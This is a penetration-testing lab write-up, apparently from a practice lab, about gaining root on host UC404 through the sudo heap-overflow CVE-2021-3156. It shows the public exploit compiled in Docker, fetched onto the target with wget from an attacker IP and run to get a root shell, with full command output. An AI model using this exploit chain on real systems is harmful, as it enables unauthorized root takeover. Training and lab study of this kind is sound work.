CVE-2021-3156
PEAS discovered that the target system is vulnerable to CVE-2021-3156
due to sudo being outdated
a vulnerability was found in sudo up to 1.8.31p2/1.9.5p1 (Operating System Utility Software). It has been rated as critical. This issue affects the function
sudoers_policy_main
. The manipulation with an unknown input leads to a heap-based overflow vulnerability. Using CWE to declare the problem leads to CWE-122. A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Impacted is confidentiality, integrity, and availability.
Exploit
Exploit found online
www-data@UC404:/var/tmp$ cc
bash: cc: command not found
www-data@UC404:/var/tmp$ gcc
bash: gcc: command not found
Opting out to remote compilation
Docker Exploit Development
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/uc404]
└─$ docker run -it --entrypoint "/bin/bash" -v ./:/root/host --name uc404 debian:10
root@1548d9976dd0:/# apt update -y ; apt install -y nano gcc gcc-multilib make git ; cd root
Setting up the environment
root@1548d9976dd0:~# git clone https://github.com/blasty/CVE-2021-3156 ; cd CVE-2021-3156 ; make ; cd ../ ; tar -czf CVE-2021-3156.tar.gz CVE-2021-3156
Cloning into 'CVE-2021-3156'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (50/50), done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 50 (delta 25), reused 38 (delta 15), pack-reused 0 (from 0)
Unpacking objects: 100% (50/50), done.
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
root@1548d9976dd0:~# ls
CVE-2021-3156 CVE-2021-3156.tar.gz host
root@1548d9976dd0:~# cp CVE-2021-3156.tar.gz host/
Compiled & packaged
Exploitation
www-data@UC404:/var/tmp$ wget -q http://192.168.45.163/CVE-2021-3156.tar.gz ; tar -xf CVE-2021-3156.tar.gz ; cd CVE-2021-3156
Delivery complete
www-data@UC404:/var/tmp/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 2
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
using target: Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28 ['/usr/bin/sudoedit'] (64, 49, 60, 214)
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# whoami
whoami
root
# hostname
hostname
UC404
# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:9e:dd:02 brd ff:ff:ff:ff:ff:ff
inet 192.168.125.109/24 brd 192.168.125.255 scope global ens192
valid_lft forever preferred_lft forever
System Level Compromise